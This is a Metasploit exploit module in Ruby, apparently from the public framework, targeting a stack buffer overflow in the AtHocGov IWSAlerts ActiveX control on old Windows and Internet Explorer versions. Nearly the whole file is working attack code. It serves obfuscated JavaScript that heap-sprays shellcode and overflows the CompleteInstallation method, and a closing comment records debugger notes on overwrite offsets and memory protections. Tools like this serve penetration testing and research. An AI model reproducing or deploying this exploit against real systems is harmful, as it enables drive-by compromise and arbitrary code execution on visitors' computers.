modules/exploits/windows/browser/athocgov_completeinstallation.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'AtHocGov IWSAlerts ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in AtHocGov IWSAlerts. When
sending an overly long string to the CompleteInstallation() method of AtHocGovTBr.dll
(6.1.4.36) an attacker may be able to execute arbitrary code. This
vulnerability was silently patched by the vendor.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'References' =>
[
[ 'OSVDB', '94557' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
],
'DisclosureDate' => '2008-02-15',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
])
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
ret = Rex::Text.uri_encode(Metasm::Shellcode.assemble(Metasm::Ia32.new, "or cl,[edx]").encode_string * 2)
js = %Q|
try {
var evil_string = "";
var index;
var vulnerable = new ActiveXObject('AtHocGovGSTlBar.GSHelper.1');
var my_unescape = unescape;
var shellcode = '#{shellcode}';
#{js_heap_spray}
sprayHeap(my_unescape(shellcode), 0x0a0a0a0a, 0x40000);
for (index = 0; index < 12500; index++) {
evil_string = evil_string + my_unescape('#{ret}');
}
vulnerable.CompleteInstallation(evil_string);
} catch( e ) { window.location = 'about:blank' ; }
|
opts = {
'Strings' => true,
'Symbols' => {
'Variables' => [
'vulnerable',
'shellcode',
'my_unescape',
'index',
'evil_string',
]
}
}
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
js.update_opts(js_heap_spray.opts)
js.obfuscate(memory_sensitive: true)
content = %Q|
<html>
<body>
<script><!--
#{js}
//</script>
</body>
</html>
|
print_status("Sending #{self.name}")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
=begin
IDL info...
[id(0x00000022)]
HRESULT CompleteInstallation([in] BSTR strParam);
$~/trunk/./msfpescan -f AtHocGovTBr.dll
AtHocGovTBr.dll: Microsoft Visual C++ v7.1 EXE [165]
AtHocGovTBr.dll: Microsoft Visual C++ v7.1 DLL [159]
// smash /GS
$~/trunk/./msfpescan -i AtHocGovTBr.dll | grep SecurityCookie
SecurityCookie 0x4278193c
// /SafeSEH, not today.
$~/trunk/./msfpescan -i AtHocGovTBr.dll | grep SEH
SEHandlerTable 0x42774e40
SEHandlerCount 0x0000021b
0:000> !exchain
0013cae0: ntdll!_except_handler3+0 (7c90ee18)
CRT scope 0, filter: ntdll!RtlFreeHeap+613 (7c93bec5)
func: ntdll!RtlFreeHeap+617 (7c93bece)
0013cb1c: AtHocGovTBr!SetOfflineInstall+a0b4 (4274f944)
0013dd9c: 61473161
Invalid exception stack at 47306147
0:000> !pattern_offset 5140 0x47306147
[Byakugan] Control of 0x47306147 at offset 4680.
0:000> !pattern_offset 5140 0x61473161
[Byakugan] Control of 0x61473161 at offset 4684.
=end